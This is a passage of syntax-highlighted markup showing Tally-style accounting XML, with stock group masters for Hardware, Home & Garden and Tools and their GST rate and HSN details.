                <span class="hljs-tag">&lt;<span class="hljs-name">ADJUSTMENTCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">ADJUSTMENTCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">INCOMETAXSLAB</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">INCOMETAXSLAB</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">INCOMETAXCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">INCOMETAXCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">LBTCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">LBTCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">TAXUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">TAXUNIT</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">RETURNMASTER</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">RETURNMASTER</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GSTCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERNUMBERSERIES</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERNUMBERSERIES</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHER</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHER</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">CMPINFO</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">DESC</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">DATA</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">COLLECTION</span> <span class="hljs-attr">ISMSTDEPTYPE</span>=<span class="hljs-string">"Yes"</span> <span class="hljs-attr">MSTDEPTYPE</span>=<span class="hljs-string">"128"</span>&gt;</span>
              <span class="hljs-tag">&lt;<span class="hljs-name">STOCKGROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Hardware"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">""</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">PARENT</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span><span class="hljs-symbol">&amp;#4;</span> Primary<span class="hljs-tag">&lt;/<span class="hljs-name">PARENT</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTDETAILS.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">APPLICABLEFROM</span>&gt;</span>20240401<span class="hljs-tag">&lt;/<span class="hljs-name">APPLICABLEFROM</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">GSTNOTIFICATIONDATE</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">CALCULATIONTYPE</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">REPORTINGUOM</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSNCODE</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSNMASTERNAME</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSN</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">SUPPLYTYPE</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">TAXABILITY</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">GSTNOTIFICATIONNUMBER</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">GSTNATUREOFTRANSACTION</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NATUREOFGOODS</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">SRCOFGSTDETAILS</span>&gt;</span>As per Company/Stock Group<span class="hljs-tag">&lt;/<span class="hljs-name">SRCOFGSTDETAILS</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">GSTCALCSLABONMRP</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">ISREVERSECHARGEAPPLICABLE</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">ISNONGSTGOODS</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">GSTINELIGIBLEITC</span>&gt;</span>Yes<span class="hljs-tag">&lt;/<span class="hljs-name">GSTINELIGIBLEITC</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">INCLUDEEXPFORSLABCALC</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">REVERSECHARGERATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">REVERSECHARGERATE</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">STATEWISEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">STATENAME</span>&gt;</span><span class="hljs-symbol">&amp;#4;</span> Any<span class="hljs-tag">&lt;/<span class="hljs-name">STATENAME</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>CGST<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>Based on Value<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                            <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>SGST/UTGST<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>Based on Value<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                            <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>IGST<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>Based on Value<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                            <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>Cess<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span><span class="hljs-symbol">&amp;#4;</span> Not Applicable<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                            <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>State Cess<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>Based on Value<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                            <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">GSTSLABRATES.LIST</span>&gt;</span>       <span class="hljs-tag">&lt;/<span class="hljs-name">GSTSLABRATES.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">STATEWISEDETAILS.LIST</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">GSTDETAILS.LIST</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">HSNDETAILS.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">APPLICABLEFROM</span>&gt;</span>20240401<span class="hljs-tag">&lt;/<span class="hljs-name">APPLICABLEFROM</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSNCODE</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSN</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSNCLASSIFICATIONNAME</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">SRCOFHSNDETAILS</span>&gt;</span>As per Company/Stock Group<span class="hljs-tag">&lt;/<span class="hljs-name">SRCOFHSNDETAILS</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">HSNDETAILS.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">STOCKGROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">STOCKGROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Home <span class="hljs-symbol">&amp;amp;</span> Garden"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">""</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">PARENT</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span><span class="hljs-symbol">&amp;#4;</span> Primary<span class="hljs-tag">&lt;/<span class="hljs-name">PARENT</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTDETAILS.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">APPLICABLEFROM</span>&gt;</span>20240401<span class="hljs-tag">&lt;/<span class="hljs-name">APPLICABLEFROM</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">GSTNOTIFICATIONDATE</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">CALCULATIONTYPE</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">REPORTINGUOM</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSNCODE</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSNMASTERNAME</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSN</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">SUPPLYTYPE</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">TAXABILITY</span>&gt;</span>Taxable<span class="hljs-tag">&lt;/<span class="hljs-name">TAXABILITY</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">GSTNOTIFICATIONNUMBER</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">GSTNATUREOFTRANSACTION</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NATUREOFGOODS</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">SRCOFGSTDETAILS</span>&gt;</span>Specify Details Here<span class="hljs-tag">&lt;/<span class="hljs-name">SRCOFGSTDETAILS</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">GSTCALCSLABONMRP</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">ISREVERSECHARGEAPPLICABLE</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">ISNONGSTGOODS</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">GSTINELIGIBLEITC</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">INCLUDEEXPFORSLABCALC</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">REVERSECHARGERATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">REVERSECHARGERATE</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">STATEWISEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">STATENAME</span>&gt;</span><span class="hljs-symbol">&amp;#4;</span> Any<span class="hljs-tag">&lt;/<span class="hljs-name">STATENAME</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>CGST<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>Based on Value<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span> 6<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                            <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>SGST/UTGST<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>Based on Value<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span> 6<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                            <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>IGST<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>Based on Value<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span> 12<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                            <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>Cess<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span><span class="hljs-symbol">&amp;#4;</span> Not Applicable<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                            <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>State Cess<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>Based on Value<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                            <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">GSTSLABRATES.LIST</span>&gt;</span>       <span class="hljs-tag">&lt;/<span class="hljs-name">GSTSLABRATES.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">STATEWISEDETAILS.LIST</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">GSTDETAILS.LIST</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">HSNDETAILS.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">APPLICABLEFROM</span>&gt;</span>20240401<span class="hljs-tag">&lt;/<span class="hljs-name">APPLICABLEFROM</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSNCODE</span>&gt;</span>8888<span class="hljs-tag">&lt;/<span class="hljs-name">HSNCODE</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSN</span>&gt;</span>Home <span class="hljs-symbol">&amp;amp;</span> Garden Desc<span class="hljs-tag">&lt;/<span class="hljs-name">HSN</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSNCLASSIFICATIONNAME</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">SRCOFHSNDETAILS</span>&gt;</span>Specify Details Here<span class="hljs-tag">&lt;/<span class="hljs-name">SRCOFHSNDETAILS</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">HSNDETAILS.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">STOCKGROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">STOCKGROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Tools"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">""</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">PARENT</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span><span class="hljs-symbol">&amp;#4;</span> Primary<span class="hljs-tag">&lt;/<span class="hljs-name">PARENT</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTDETAILS.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">APPLICABLEFROM</span>&gt;</span>20240401<span class="hljs-tag">&lt;/<span class="hljs-name">APPLICABLEFROM</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">GSTNOTIFICATIONDATE</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">CALCULATIONTYPE</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">REPORTINGUOM</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSNCODE</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSNMASTERNAME</span>&gt;</span>GST Rate<span class="hljs-tag">&lt;/<span class="hljs-name">HSNMASTERNAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSN</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">SUPPLYTYPE</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">TAXABILITY</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">GSTNOTIFICATIONNUMBER</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">GSTNATUREOFTRANSACTION</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NATUREOFGOODS</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">SRCOFGSTDETAILS</span>&gt;</span>Use GST Classification<span class="hljs-tag">&lt;/<span class="hljs-name">SRCOFGSTDETAILS</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">GSTCALCSLABONMRP</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">ISREVERSECHARGEAPPLICABLE</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">ISNONGSTGOODS</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">GSTINELIGIBLEITC</span>&gt;</span>Yes<span class="hljs-tag">&lt;/<span class="hljs-name">GSTINELIGIBLEITC</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">INCLUDEEXPFORSLABCALC</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">REVERSECHARGERATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">REVERSECHARGERATE</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">STATEWISEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">STATENAME</span>&gt;</span><span class="hljs-symbol">&amp;#4;</span> Any<span class="hljs-tag">&lt;/<span class="hljs-name">STATENAME</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>CGST<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>Based on Value<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                            <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>SGST/UTGST<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>Based on Value<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                            <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>IGST<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>Based on Value<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                            <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>Cess<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span><span class="hljs-symbol">&amp;#4;</span> Not Applicable<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                            <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>State Cess<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
